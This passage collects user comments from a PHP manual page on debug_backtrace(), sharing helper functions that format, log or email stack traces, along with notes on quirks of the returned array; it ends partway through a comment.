jurchiks101 at gmail dot com 21-May-2013 10:04
Here's a function I just wrote for getting a nice and comprehensible call trace. It is probably more resource-intensive than some other alternatives but it is short, understandable, and gives nice output (Exception->getTraceAsString()).

<?php
function generateCallTrace()
{
    $e = new Exception();
    $trace = explode("\n", $e->getTraceAsString());
    // reverse array to make steps line up chronologically
    $trace = array_reverse($trace);
    array_shift($trace); // remove {main}
    array_pop($trace); // remove call to this method
    $length = count($trace);
    $result = array();

    for ($i = 0; $i < $length; $i++)
    {
        $result[] = ($i + 1)  . ')' . substr($trace[$i], strpos($trace[$i], ' ')); // replace '#someNum' with '$i)', set the right ordering
    }

    return "\t" . implode("\n\t", $result);
}
?>

Example output:
    1) /var/www/test/test.php(15): SomeClass->__construct()
    2) /var/www/test/SomeClass.class.php(36): SomeClass->callSomething()
Anonymous 06-Mar-2013 09:01
A usual entry looks like this:
<?php
array(6) {
  'file' =>
  string(87) "DbSelector.php"
  'line' =>
  int(171)
  'function' =>
  string(5) "error"
  'class' =>
  string(42) "LoggingService"
  'type' =>
  string(2) "::"
  'args' =>
  array(1) {
    [0] =>
    string(27) "Connecting to DB: unittests"
  }
}
?>

Be warned though that 'file' and 'class' do not reference the same thing!
'file' means which file calls the next step.
'class' is the next step being called.

So 'file' is the caller, 'class' is the callee.
Gemorroj 11-Feb-2013 09:58
Another variation formatting backtrace.
Parameter $ignore to ignore the extra calls.
<?php
/**
 * Getting backtrace
 *
 * @param int $ignore ignore calls
 *
 * @return string
 */
protected function getBacktrace($ignore = 2)
{
    $trace = '';
    foreach (debug_backtrace() as $k => $v) {
        if ($k < $ignore) {
            continue;
        }

        array_walk($v['args'], function (&$item, $key) {
            $item = var_export($item, true);
        });

        $trace .= '#' . ($k - $ignore) . ' ' . $v['file'] . '(' . $v['line'] . '): ' . (isset($v['class']) ? $v['class'] . '->' : '') . $v['function'] . '(' . implode(', ', $v['args']) . ')' . "\n";
    }

    return $trace;
}
?>
nyoung55 at that_google_mail.com 31-Jan-2013 04:31
Here is a function to cleanly output the debug_backtrace to the error_log

<?php
/*
 * Send the output from a backtrace to the error_log
 * @param string $message Optional message that will be sent the the error_log before the backtrace
 */
function log_trace($message = '') {
    $trace = debug_backtrace();
    if ($message) {
        error_log($message);
    }
    $caller = array_shift($trace);
    $function_name = $caller['function'];
    error_log(sprintf('%s: Called from %s:%s', $function_name, $caller['file'], $caller['line']));
    foreach ($trace as $entry_id => $entry) {
        $entry['file'] = $entry['file'] ? : '-';
        $entry['line'] = $entry['line'] ? : '-';
        if (empty($entry['class'])) {
            error_log(sprintf('%s %3s. %s() %s:%s', $function_name, $entry_id + 1, $entry['function'], $entry['file'], $entry['line']));
        } else {
            error_log(sprintf('%s %3s. %s->%s() %s:%s', $function_name, $entry_id + 1, $entry['class'], $entry['function'], $entry['file'], $entry['line']));
        }
    }
}
?>
Anonymous 30-Jan-2013 08:12
Simple function to get a string in form "filename: [class->][function(): ]"

<?php
function get_caller_info() {
    $c = '';
    $file = '';
    $func = '';
    $class = '';
    $trace = debug_backtrace();
    if (isset($trace[2])) {
        $file = $trace[1]['file'];
        $func = $trace[2]['function'];
        if ((substr($func, 0, 7) == 'include') || (substr($func, 0, 7) == 'require')) {
            $func = '';
        }
    } else if (isset($trace[1])) {
        $file = $trace[1]['file'];
        $func = '';
    }
    if (isset($trace[3]['class'])) {
        $class = $trace[3]['class'];
        $func = $trace[3]['function'];
        $file = $trace[2]['file'];
    } else if (isset($trace[2]['class'])) {
        $class = $trace[2]['class'];
        $func = $trace[2]['function'];
        $file = $trace[1]['file'];
    }
    if ($file != '') $file = basename($file);
    $c = $file . ": ";
    $c .= ($class != '') ? ":" . $class . "->" : "";
    $c .= ($func != '') ? $func . "(): " : "";
    return($c);
}
?>

Usage like:

<?php
function debug($str) {
    echo get_caller_info() . $str . "<br>\n";
}
?>

get_caller_info() will return info about the function /class->method that called debug().
root at jackyyf dot com 22-Dec-2012 12:05
When use register_shutdown_function, and the function called when shutting down, there are no line number nor filename information about this function, only function, class(if possible), type(if possible) and args are provided.
d at rren dot me 04-Oct-2012 07:35
Howdy guys, just a note really - The ['args'] data within the resulting array is supplied by reference. I found myself editing the reference unknowingly which in turn shows its ugly head further down the line if you call multiple backtrace.

<?php
$trace = array_reverse(debug_backtrace());

// LOOP BACKTRACE
$la = 0;
$lb = count($trace);
while ($la<$lb){

    // DATA FROM BACKTRACE
    $trace[$la]['file'];
    $trace[$la]['line'];
    $trace[$la]['args'];
    $trace[$la]['function'];
    // DATA FROM BACKTRACE

    // LOOP ARGUMENTS ARRAY
    $ba = 0;
    $bb = count($trace[$la]['args']);
    while ($ba<$bb){

        $trace[$la]['args'][$ba] = "EDITING A REFERENCE/POINTER";

        $ba++;
    }
    unset($bb);
    unset($ba);
    // LOOP ARGUMENTS ARRAY

    $la++;
}
unset($lb);
unset($la);
// LOOP BACKTRACE
?>
kexianbin at diyism dot com 16-Sep-2012 02:26
need no Xdebug or dbg.so on server, return more detailed message:

diyism_trace.php:
<?php
define(TRACES_MODE, 'TEXTAREA');//'TEXTAREA' or 'FIREPHP'
$GLOBALS['traces.pre']=array();
function my_array_diff($arr1, $arr2)
         {foreach ($arr1 as $k=>$v)
                  {if (in_array($v, $arr2, true))
                      {unset($arr1[$k]);
                      }
                  }
          return $arr1;
         }
function my_var_export($var, $is_str=false)
         {$rtn=preg_replace(array('/Array\s+\(/', '/\[(\d+)\] => (.*)\n/', '/\[([^\d].*)\] => (.*)\n/'), array('array (', '\1 => \'\2\''."\n", '\'\1\' => \'\2\''."\n"), substr(print_r($var, true), 0, -1));
          $rtn=strtr($rtn, array("=> 'array ('"=>'=> array ('));
          $rtn=strtr($rtn, array(")\n\n"=>")\n"));
          $rtn=strtr($rtn, array("'\n"=>"',\n", ")\n"=>"),\n"));
          $rtn=preg_replace(array('/\n +/e'), array('strtr(\'\0\', array(\'    \'=>\'  \'))'), $rtn);
          $rtn=strtr($rtn, array(" Object',"=>" Object'<-"));
          if ($is_str)
             {return $rtn;
             }
          else
              {echo $rtn;
              }
         }
function tick_handler()
         {$tmp=debug_backtrace();
          $trace=my_array_diff($tmp, $GLOBALS['traces.pre']);
          //echo '<pre>';var_export($trace);echo '</pre>';echo '<br/>'; //for debug diyism_trace.php
          $trace=array_values($trace);
          $GLOBALS['traces.pre']=$tmp;
          if (count($trace)>0 && $trace[0]['file'].'/'.@$tmp[1]['function']!==@$GLOBALS['traces'][count($GLOBALS['traces'])-1]['key']) //filter empty array and rearrange array_values(), because some lines will trigger two tick events per line, for example: 1.last line is "some code;questmark>" 2.error_reporting(...
             {for ($i=count($trace)-1; $i>=0; --$i)
                  {$GLOBALS['traces'][]=$tmp_fb=array_merge(array('key'=>$trace[$i]['file'].'/'.@$tmp[$i+1]['function']), $trace[$i], array('function'=>strtr($trace[$i]['function'], array('tick_handler'=>'CONTINUE')), 'in_function'=>@$tmp[$i+1]['function']));
                   TRACES_MODE==='FIREPHP'?fb(trace_output($tmp_fb), 'diyism_trace:'.++$GLOBALS['diyism_trace_no']):'';
                  }
             }
         }
function trace_output($trace)
         {$trace['in_function']=strtr(@$trace['in_function'], array('require'=>'', 'require_once'=>'', 'include'=>'', 'include_once'=>''));
          $trace['args']=$trace['args']?strtr(preg_replace(array('/\n +/'), array(''), preg_replace(array('/\n  \d+ => /'), array(''), substr(my_var_export($trace['args'], true), 7, -3))), array("\r"=>'\r', "\n"=>'\n')):'';
          return $trace['file'].($trace['in_function']?'/'.$trace['in_function'].'()':'').'/'.$trace['line'].': '.$trace['function'].'('.$trace['args'].')';
         }
function traces_output()
         {echo '<textarea style="width:100%;height:300px;">';
          $GLOBALS['traces']=array_slice($GLOBALS['traces'], 2);//remove registering tick line and requiring 'diyism_trace.php' line
          foreach ($GLOBALS['traces'] as $k=>$trace)
                  {echo htmlentities($k.':'.trace_output($trace)."\n");
                  }
          echo '</textarea>';
         }
register_tick_function('tick_handler');
TRACES_MODE==='TEXTAREA'?register_shutdown_function('traces_output'):'';
?>

test.php:
<?php
declare(ticks=1);
require 'diyism_trace.php';

a('a', array('hello'));
1+2;
b();
function a()
         {$d=1;
          b();
          $d=2;
         }
function b()
         {1+1;
         }
?>
ciprian dot stingu at gmail dot com 19-Nov-2011 12:32
A function that i use for debug
I shortened variables name and i eliminated the spaces from second function in order fit in post :(

<?php
define("LFP", './lt.log');
function LogTrace($Argument, $lfn = LFP, $itw = '  ')
{
    error_log("=====\r", 3, $lfn);
    error_log("[BEGIN BACKTRACE]\r", 3, $lfn);
    $it = '';
    $Ts = array_reverse(debug_backtrace());
    foreach($Ts as $T)
       {
        if($T['function'] != 'include' && $T['function'] != 'require' && $T['function'] != 'include_once' && $T['function'] != 'require_once')
        {
            $ft = $it . '<'. basename($T['file']) . '> on line ' . $T['line'];
            if($T['function'] != 'LogTrace')
            {
                if(isset($T['class']))
                    $ft .= ' in method ' . $T['class'] . $T['type'];
                else
                    $ft .= ' in function ';
                $ft .= $Trace['function'] . '(';
            }
            else
                $ft .= '(';
            if(isset($T['args'][0]))
            {
                if($T['function'] != 'LogTrace')
                {
                    $ct = '';
                    foreach($T['args'] as $A)
                    {
                        $ft .= $ct . LogVar($A, '', $it, $itw, 0);
                        $ct = $it . $itw . ',';
                    }
                }
                else
                    $ft .= LogVar($T['args'][0], '', $it, $itw, 0);
            }
            $ft .= $it . ")\r";
            error_log($ft, 3, $lfn);
            $it .= $itw;
        }
    }
    error_log("[END BACKTRACE]\r", 3, $lfn);
}

function LogVar(&$Var, $vn, $pit, $itw, $nlvl, $m = '')
{
    if($nlvl>=16) return;
    if($nlvl==0){$tv=serialize($Var);$tv=unserialize($tv);}
    else $tv=&$Var;
    $it=$pit.$itw;
    for($i=0; $i<$nlvl;$i++) $it.='.'.$itw;
    $o='';$nl="\n";
    if(is_array($tv))
    {
        if(strlen($vn)>0) $o.=$it.$m.'<array> $'.$vn.' = (';
        else $o.="\r".$it.$m.'<array> = (';
        $o.= $nl;$AK=array_keys($tv);
        foreach($AK as $AN) {$AV=&$tv[$AN];$o.=LogVar($AV,$AN,$pit,$itw,$nlvl+1);}
        $o.=$it.')'.$nl;
    }
    else if(is_string($tv))
    {
        if(strlen($vn)>0)$o.=$it.$m.'<string> $'.$vn.' = ';
        else $o.=' '.$m.'<string> = ';
        if($tv===null) $o.='NULL';
        else $o.='"'.$tv.'"';
        $o.=$nl;
    }
    else if(is_bool($tv))
    {
        if(strlen($vn) > 0) $o.=$it.$m.'<boolean> $'.$vn.' = ';
        else $o.=' '.$m.'<boolean> = ';
        if($tv===true) $o.='TRUE';
        else $o.='FALSE';
        $o.=$nl;
    }
    else if(is_object($tv))
    {
        if(strlen($vn)>0)
        {
            $o.=$pit.$itw;
            for($i=0;$i<$nlvl;$i++) $o.='.'.$itw;
            $o.=$m.'<'.get_class($tv).'::$'.$vn.'> = {'.$nl;
        }
        else $o.=' '.$m.'<'.get_class($tv).'::> = {'.$nl;
        $R=new ReflectionClass($tv);
        $o.=$it.'.'.$itw.'Class methods {'.$nl;
        $CM=$R->getMethods();
        foreach($CM as $MN => $MV)
        {
            $o.=$it.'.'.$itw.'.'.$itw.implode(' ',Reflection::getModifierNames($MV->getModifiers())).' '.$MV->getName().'(';
            $MP=$MV->getParameters(); $ct='';
            foreach($MP as $MPN => $MPV)
            {
                $o.=$ct; $o.=$MPV->isOptional()?'[':'';
                if($MPV->isArray()) $o.='<array> ';
                else if($MPV->getClass()!==null) $o.='<'.$MPV->getClass()->getName().'::> ';
                $o.=$MPV->isPassedByReference()?'&':''; $o.='$'.$MPV->getName();
                if($MPV->isDefaultValueAvailable())
                 {
                    if($MPV->getDefaultValue()===null) $o.=' = NULL';
                    else if($MPV->getDefaultValue()===true) $o.=' = TRUE';
                    else if($MPV->getDefaultValue()===false) $o.=' = FALSE';
                    else $o.=' = '.$MPV->getDefaultValue();
                }
                $o.=$MPV->isOptional()?']':''; $ct=', ';
            }
            $o.=')'.$nl;
        }
        $o.=$it.'.'.$itw.'}'.$nl; $o.=$it.'.'.$itw.'Class properties {'.$nl;
        $CV=$R->getProperties();
        foreach($CV as $CN => $CV)
        {
            $M=implode(' ',Reflection::getModifierNames($CV->getModifiers())).' ';
            $CV->setAccessible(true);
            $o.=LogVar($CV->getValue($tv),$CV->getName(),$pit,$itw,$nlvl+2,$M);
        }
        $o.=$it.'.'.$itw.'}'.$nl; $o.=$it.'.'.$itw.'Object variables {'.$nl;
         $OVs=get_object_vars($tv);
        foreach($OVs as $ON => $OV) $o.=LogVar($OV,$ON,$pit,$itw,$nlvl+2);
        $o.=$it.'.'.$itw.'}'.$nl; $o.=$pit.$itw;
        for($i=0;$i<$nlvl;$i++)    $o.='.'.$itw;
        $o.='}'.$nl;
    }
    else
    {
        if(strlen($vn)>0) $o.=$it.$m.'<'.gettype($tv).'> $'.$vn.' = '.$tv;
        else $o.=' '.$m.'<'.gettype($tv).'> = '.$tv;
        $o.=$nl;
    }
    return $o;
}
//test
date_default_timezone_set('Europe/Bucharest');
$date = new DateTime('2010-01-28');
LogTrace($date);
?>
Bill Getas 21-Dec-2010 03:09
Here's my little updated contribution - it prints colorful output in the way I prefer.  Define a helper function isRootIp() that contains an array including your IP; then calls to bt() simply return, so you can sprinkle backtraces in live sites w/o anyone knowing.

<?php
function bt()
{
    if( ! isRootIp() )
    {
        return false;
    }
    array_walk( debug_backtrace(), create_function( '$a,$b', 'print "<br /><b>". basename( $a[\'file\'] ). "</b> &nbsp; <font color=\"red\">{$a[\'line\']}</font> &nbsp; <font color=\"green\">{$a[\'function\']} ()</font> &nbsp; -- ". dirname( $a[\'file\'] ). "/";' ) );
}
?>
henzeberkheij at gmail dot com 10-Oct-2010 02:07
I find it useful to know if a function is being called. in Java for instance you usually print a line with the functionname and arguments in the beginning of the function. I wanted to achieve the same thing in php thus i wrote the following class:

<?php
class Debug
{
    private static $calls;

    public static function log($message = null)
    {
        if(!is_array(self::$calls))
            self::$calls = array();

        $call = debug_backtrace(false);
        $call = (isset($call[1]))?$call[1]:$call[0];

        $call['message'] = $message;
        array_push(self::$calls, $call);
    }
}
?>

include this class before anything else
usage: Debug::log($message); at the beginning of your function.

write yourself a nice printout of the data;
kenorb at gmail dot com 07-Sep-2010 07:11
One line of code to print simplest and shortest human readable backtrace:)
<?php
array_walk(debug_backtrace(),create_function('$a,$b','print "{$a[\'function\']}()(".basename($a[\'file\']).":{$a[\'line\']}); ";'));
?>
php noob 02-Sep-2010 08:32
Surprisingly, no one has described one of the best uses of this: dumping a variable and showing the location. When debugging, especially a big and unfamiliar system, it's a pain remembering where I added those var dumps. Also, this way there is a separator between multiple dump calls.

<?php

function dump( $var ) {
    $result = var_export( $var, true );
    $loc = whereCalled();
    return "\n<pre>Dump: $loc\n$result</pre>";
}

function whereCalled( $level = 1 ) {
    $trace = debug_backtrace();
    $file   = $trace[$level]['file'];
    $line   = $trace[$level]['line'];
    $object = $trace[$level]['object'];
    if (is_object($object)) { $object = get_class($object); }

    return "Where called: line $line of $object \n(in $file)";
}
?>

In addition, calling 'whereCalled()' from any function will quickly identify locations that are doing something unexpected (e.g., updating a property at the wrong time). I'm new to PHP, but have used the equivalent in Perl for years.
jlammertink at gmail dot com 15-Jul-2010 02:32
I use this simple but effective function so i can see which method in the child class called the current method (in the parent class).

<?php
function get_caller_method()
{
    $traces = debug_backtrace();

    if (isset($traces[2]))
    {
        return $traces[2]['function'];
    }

    return null;
}
?>
john dot risken at gmail dot com 25-Feb-2010 10:02
Everybody seems to have their favorite use.  I substitute this function for die().  It gives a message
to the user and emails me a PrettyPrint of what went wrong.  $info is set by me,
and it does a special check in the database object.

<?php
// var_format

function var_format($v) // pretty-print var_export
{
    return (str_replace(array("\n"," ","array"),
array("<br>","&nbsp;","&nbsp;<i>array</i>"),
var_export($v,true))."<br>");
}
function myDie($info)
{
    $mysqlerr=strpos($info,"ERROR=You have an error in your SQL syntax");
    if($mysqlerr>0)$info=substr($info,0,$mysqlerr)." mySql format error";
    $out="<br>MSG='$info'<br>".var_format($_REQUEST)."<br>";
    $bt=debug_backtrace();
    $sp=0;
    $trace="";
    foreach($bt as $k=>$v)
    {
        extract($v);
        $file=substr($file,1+strrpos($file,"/"));
        if($file=="db.php")continue; // the db object
        $trace.=str_repeat("&nbsp;",++$sp); //spaces(++$sp);
        $trace.="file=$file, line=$line, function=$function<br>";
    }
    $out.="<br>".backTrace();
    if(substr($info,0,4)=="XXX ") // special errrors when db is inaccessible
    {
        $out=str_replace("<br>","\n",$out);
        $out=str_replace("&nbsp;"," ",$out);
        mail("me@example.com","Database Execution Error for user ".$REMOTE_ADDR,"$out");
        exit("Database Access Error. Please try again later.");
    }
    mail("me@example.com",'Error Monitor','Execution Error',$out);
    exit("DANG! An execution error in the program has been sent to the webmaster.
If you don't get an email from him soon, please call him.");
}
?>

This produces an output like this

 file=badmode.php, line=5, function=backTrace
  file=login.php, line=209, function=require
   file=midScreen.php, line=264, function=require
    file=masterindex.php, line=161, function=require
     file=production2.php, line=121, function=require
      file=index.php, line=16, function=require
michael dot schramm at gmail dot com 20-Oct-2009 12:29
Be carefull if you are using objects as arguments for function calls!

<?php
error_reporting(E_ALL);

function myPrint($trace){
    foreach($trace as $i=>$call){
        /**
         * THIS IS NEEDED! If all your objects have a __toString function it's not needed!
         *
         * Catchable fatal error: Object of class B could not be converted to string
         * Catchable fatal error: Object of class A could not be converted to string
         * Catchable fatal error: Object of class B could not be converted to string
         */
        if (is_object($call['object'])) { $call['object'] = 'CONVERTED OBJECT OF CLASS '.get_class($call['object']); }
        if (is_array($call['args'])) {
            foreach ($call['args'] AS &$arg) {
                if (is_object($arg)) { $arg = 'CONVERTED OBJECT OF CLASS '.get_class($arg); }
            }
        }

        $trace_text[$i] = "#".$i." ".$call['file'].'('.$call['line'].') ';
        $trace_text[$i].= (!empty($call['object'])?$call['object'].$call['type']:'');
        $trace_text[$i].= $call['function'].'('.implode(', ',$call['args']).')';
    }

    var_dump($trace_text);
}

class A{
    public function test($obj){
        $obj->test();
    }
}

class B{
    public function test(){
        echo myPrint(debug_backtrace());
    }
}

$A = new A();
$B = new B();

$A->test($B);

?>
frank at frank dot com 07-May-2008 11:12
Here is my simple example:
Code printing variable of class which instatiates the printing class.

Well, I am sure you understand when looking at the code:
Print result is: jippii

<?php
class A {

        function something() {
                $s = debug_backtrace();

                $callingObject = $s[1]['object'];
                $test = $callingObject->jip;
                print $test;
        }

}

class B {
      var $jip;

        function execute() {
                $a = new A();
                $this->jip = "jippii";
                $a->something();
        }

}
$control = new B();
$control->execute();
?>
samthor 11-Feb-2008 12:04
Here's a way to get the arguments for an upstream function in your stack (works with class methods, static methods and non-class methods):
<?php
/**
 * getArgs - find arguments of upstream method
 * can be called with, e.g. "funcname", "class::staticmethod", "class->instancemethod".
 */
function getArgs( $target, $subclass_ok = true ) {

    if( strpos( $target, "::" ) ) {
        list( $class, $target ) = explode( "::", $target, 2 );
        $type = "::";
    }
    else if( strpos( $target, "->" ) ) {
        list( $class, $target ) = explode( "->", $target, 2 );
        $type = "->";
    }
    else {
        $type = NULL;
        $class = NULL;
    }
    $class and $class = new ReflectionClass( $class );

    foreach( debug_backtrace() as $obj ) {

        if( $obj['function'] == $target ) {
            if( $type and $obj['type'] == $type ) {
                $_cl = new ReflectionClass( $obj['class'] );
                if( $_cl->getName() == $class->getName() or ( $subclass_ok and $_cl->isSubclassOf( $class ) ) ) {
                    return $obj['args'];
                }
                unset( $_cl );
            }
            else if( !$type ) {
                return $obj['args'];
            }
        }

    }

    return NULL;

}
?>

Some example usage:
<?php
class Foo {
    function test() {
        $args = getArgs( "Foo->base" );
        print( "the parameter 'v' to my call of base was: {$args[0]}\n" );
    }
    function base( $v ) {
        $this->test();
    }
}

$f = new Foo();
$f->base( 713 ); // will print.. ".. my call of base was: 713"

?>

Trust me, there are some reasons for why you might want to do this :)
aryel at iku dot com dot br 29-Jan-2008 02:40
An easy function to pull all details of the debug backtrace:

<?php
function getDebugBacktrace($NL = "<BR>") {
    $dbgTrace = debug_backtrace();
    $dbgMsg .= $NL."Debug backtrace begin:$NL";
    foreach($dbgTrace as $dbgIndex => $dbgInfo) {
        $dbgMsg .= "\t at $dbgIndex  ".$dbgInfo['file']." (line {$dbgInfo['line']}) -> {$dbgInfo['function']}(".join(",",$dbgInfo['args'])")$NL";
    }
    $dbgMsg .= "Debug backtrace end".$NL;
    return $dbgMsg;
}
?>

Then you can call it anywhere you want to get a string with the debug backtrace in readable format (i.e. your error handling function)

<?php
$backtrace = getDebugBacktrace();
echo "Fatal error! Cannot connect to database!";
echo $backtrace;
?>

If you're running on command line, you might want to replace the line split. You can do that thru the function argument:

<?php
$backtrace = getDebugBacktrace("\n");
echo "Error! Server is running out of foos! Dumping error backtrace";
echo $backtrace;
?>

Hope that helps,
Aryel
php at kennel17 dot co dot uk 20-Jun-2007 09:30
Further to my previous note, the 'object' element of the array can be used to get the parent object.  So changing the get_class_static() function to the following will make the code behave as expected:

<?php
    function get_class_static() {
        $bt = debug_backtrace();

        if (isset($bt[1]['object']))
            return get_class($bt[1]['object']);
        else
            return $bt[1]['class'];
    }
?>

HOWEVER, it still fails when being called statically.  Changing the last two lines of my previous example to

<?php
  foo::printClassName();
  bar::printClassName();
?>

...still gives the same problematic result in PHP5, but in this case the 'object' property is not set, so that technique is unavailable.
jsnell at e-normous dot com 30-May-2007 02:35
If you are using the backtrace function in an error handler, avoid using var_export() on the args, as you will cause fatal errors in some situations, preventing you from seeing your stack trace.  Some structures will cause PHP to generate the fatal error "Nesting level too deep - recursive dependency?" This is a design feature of php, not a bug (see http://bugs.php.net/bug.php?id=30471)
kroczu AT interia DOT pl 23-Jan-2007 10:24
<?
// useful and comfortable debug function
// it's show memory usage and time flow between calls, so we can quickly find a block of code that need optimisation...
// example result:
/*
debug example.php> initialize
debug example.php> code-lines: 39-41 time: 2.0002 mem: 19 KB
debug example.php> code-lines: 41-44 time: 0.0000 mem: 19 KB
debug example.php> code-lines: 44-51 time: 0.6343 mem: 9117 KB
debug example.php> code-lines: 51-53 time: 0.1003 mem: 9117 KB
debug example.php> code-lines: 53-55 time: 0.0595 mem: 49 KB
 */

function debug()
{
   static $start_time = NULL;
   static $start_code_line = 0;

   $call_info = array_shift( debug_backtrace() );
   $code_line = $call_info['line'];
   $file = array_pop( explode('/', $call_info['file']));

   if( $start_time === NULL )
   {
       print "debug ".$file."> initialize\n";
       $start_time = time() + microtime();
       $start_code_line = $code_line;
       return 0;
   }

   printf("debug %s> code-lines: %d-%d time: %.4f mem: %d KB\n", $file, $start_code_line, $code_line, (time() + microtime() - $start_time), ceil( memory_get_usage()/1024));
   $start_time = time() + microtime();
   $start_code_line = $code_line;
}

////////////////////////////////////////////////
// example:

debug();
sleep(2);
debug();
// soft-code...
$a = 3 + 5;
debug();

// hard-code
for( $i=0; $i<100000; $i++)
{
    $dummy['alamakota'.$i] = 'alamakota'.$i;
}
debug();
usleep(100000);
debug();
unset($dummy);
debug();

?>
seaside dot ki at mac dot com 14-Dec-2006 04:20
I've started creating an external debug server for PHP. A PHP app require_once's a TADebugger(), which communicates with the debug sever. Find the OS X universal binary here [PHP source sample included]:

   http://www.turingart.com/downloads/phpDebugger.zip

Currently, TADebugger allows to post these properties back to the debug server:

- Call backtraces
- String messages
- Source files, which were referenced by a backtrace call

Note, that the binary is a early version.
icefragment at gmail dot com 23-Sep-2006 09:34
A simple python-like backtrace. Note that I don't recurse into arrays if they are passed as arguments to functions.

function backtrace()
{
    $bt = debug_backtrace();

    echo("<br /><br />Backtrace (most recent call last):<br /><br />\n");
    for($i = 0; $i <= count($bt) - 1; $i++)
    {
        if(!isset($bt[$i]["file"]))
            echo("[PHP core called function]<br />");
        else
            echo("File: ".$bt[$i]["file"]."<br />");

        if(isset($bt[$i]["line"]))
            echo("&nbsp;&nbsp;&nbsp;&nbsp;line ".$bt[$i]["line"]."<br />");
        echo("&nbsp;&nbsp;&nbsp;&nbsp;function called: ".$bt[$i]["function"]);

        if($bt[$i]["args"])
        {
            echo("<br />&nbsp;&nbsp;&nbsp;&nbsp;args: ");
            for($j = 0; $j <= count($bt[$i]["args"]) - 1; $j++)
            {
                if(is_array($bt[$i]["args"][$j]))
                {
                    print_r($bt[$i]["args"][$j]);
                }
                else
                    echo($bt[$i]["args"][$j]);

                if($j != count($bt[$i]["args"]) - 1)
                    echo(", ");
            }
        }
        echo("<br /><br />");
    }
}
zmorris at mac dot com 20-Sep-2006 07:48
Hi, I got tired of using a trace( $message, __FILE__, __LINE__ ) function I made.  It forced me to include the file and line params (since php doesn't have macros) so I decided to make an alternative.

Simply call this new version using trace( 'my message' ); and it prints out a stack trace in a clearer way than the one stored in the debug_backtrace() array.  It handles traces from outside of functions, traces in nested functions, and traces in included files, and also displays the function in a way that can be pasted right back into your php code for faster testing!

NOTE - be sure to save your files with the correct line endings for the line numbers to work correctly, which for Mac OS X is unix.  You can get to this option in the popup menu in the toolbar at the top of each window in BBEdit.

<?php

function    print_var( $var )
{
   if( is_string( $var ) )
       return( '"'.str_replace( array("\x00", "\x0a", "\x0d", "\x1a", "\x09"), array('\0', '\n', '\r', '\Z', '\t'), $var ).'"' );
   else if( is_bool( $var ) )
   {
       if( $var )
           return( 'true' );
       else
           return( 'false' );
   }
   else if( is_array( $var ) )
   {
       $result = 'array( ';
       $comma = '';
       foreach( $var as $key => $val )
       {
           $result .= $comma.print_var( $key ).' => '.print_var( $val );
           $comma = ', ';
       }
       $result .= ' )';
       return( $result );
   }

   return( var_export( $var, true ) );    // anything else, just let php try to print it
}

function    trace( $msg )
{
   echo "<pre>\n";

   //var_export( debug_backtrace() ); echo "</pre>\n"; return;    // this line shows what is going on underneath

   $trace = array_reverse( debug_backtrace() );
   $indent = '';
   $func = '';

   echo $msg."\n";

   foreach( $trace as $val)
   {
       echo $indent.$val['file'].' on line '.$val['line'];

       if( $func ) echo ' in function '.$func;

       if( $val['function'] == 'include' ||
           $val['function'] == 'require' ||
           $val['function'] == 'include_once' ||
           $val['function'] == 'require_once' )
           $func = '';
       else
       {
           $func = $val['function'].'(';

           if( isset( $val['args'][0] ) )
           {
               $func .= ' ';
               $comma = '';
               foreach( $val['args'] as $val )
               {
                   $func .= $comma.print_var( $val );
                   $comma = ', ';
               }
               $func .= ' ';
           }

           $func .= ')';
       }

       echo "\n";

       $indent .= "\t";
   }

   echo "</pre>\n";
}

trace( 'error outside function' );

function    test( $param1, $param2, $param3, $param4 )
{
   trace( 'error in test()' );
}

test( 1.1, "param2\n", array( 1 => "a\n", "b\n" => 2 ), false );

?>
admin at sgssweb dot com 13-Aug-2006 02:30
Surprizingly, debug_backtrace() cannot aquire arguments from the function that is used as the second or later argument of a function.

<?php

function a($p) {
    $backtrace = debug_backtrace();

    if (isset($backtrace[0]['args']))
        var_export($backtrace[0]['args']);
    else
        echo "Cannot aquire arguments";
    echo "<br />";

    return $p;
}

function b($p1, $p2, $p3) {
    echo "$p1, $p2, $p3";
}

// This outputs:
//    array ( 0 => 'First a', )
//    Cannot aquire arguments
//    Cannot aquire arguments
//    First a, Second a, Third a
b(a("First a"), a("Second a"), a("Third a"));

?>
http://synergy8.com 13-Dec-2005 10:37
It should be noted that if an internal php function such as call_user_func in the backtrace, the 'file' and 'line' entries will not be set.

Most debug tracers will use these entries.  You should place a check to see if the key exists in the array before using this function.  Otherwise notices will be generated.

<?php

$arrTrace = debug_backtrace();

foreach ($arrTrace as $arr)
{
    if (!isset ($arr['file']))
    {
        $arr['file'] = '[PHP Kernel]';
    }

    if (!isset ($arr['line']))
    {
        $arr['line'] = '';
    }

    // Do something
}

?>
spagmoid at yahoo dot NOSPAMcom 09-Dec-2003 11:47
ATTN: jlim#natsoft.com.my

Great function, but you have a few bugs.

At the line:
foreach($arr['args'] as $v)

Change it to:
$args = array();
if(!empty($arr['args'])) foreach($arr['args'] as $v)

And since line & file are not present in the array if calling from the error handler,

$Line = (isset($arr['line'])? $arr['line'] : "unknown");
$File = (isset($arr['file'])? $arr['file'] : "unknown");

and substitute accordingly.

Here's my version of it, alas with different formatting:
----------------------------------------

function DBG_GetBacktrace()
{
    $s = '';
    $MAXSTRLEN = 64;

    $s = '<pre align=left>';
    $traceArr = debug_backtrace();
    array_shift($traceArr);
    $tabs = sizeof($traceArr)-1;
    foreach($traceArr as $arr)
    {
        for ($i=0; $i < $tabs; $i++) $s .= ' &nbsp; ';
        $tabs -= 1;
        $s .= '<font face="Courier New,Courier">';
        if (isset($arr['class'])) $s .= $arr['class'].'.';
        $args = array();
        if(!empty($arr['args'])) foreach($arr['args'] as $v)
        {
            if (is_null($v)) $args[] = 'null';
            else if (is_array($v)) $args[] = 'Array['.sizeof($v).']';
            else if (is_object($v)) $args[] = 'Object:'.get_class($v);
            else if (is_bool($v)) $args[] = $v ? 'true' : 'false';
            else
            {
                $v = (string) @$v;
                $str = htmlspecialchars(substr($v,0,$MAXSTRLEN));
                if (strlen($v) > $MAXSTRLEN) $str .= '...';
                $args[] = "\"".$str."\"";
            }
        }
        $s .= $arr['function'].'('.implode(', ',$args).')</font>';
        $Line = (isset($arr['line'])? $arr['line'] : "unknown");
        $File = (isset($arr['file'])? $arr['file'] : "unknown");
        $s .= sprintf("<font color=#808080 size=-1> # line %4d, file: <a href=\"file:/%s\">%s</a></font>",
            $Line, $File, $File);
        $s .= "\n";
    }
    $s .= '</pre>';
    return $s;
}
bernyregeling AT hotmail DOT com 08-Aug-2003 04:29
I wrote this function, in addition to jlim, for a nice NO-HTML output.

Thee result has similarities to a Java-error. Hope you like it.

(BTW, this function exits the script too, if debug_backtrace is displayed)
------------------------------
    function debug_bt()
    {
        if(!function_exists('debug_backtrace'))
        {
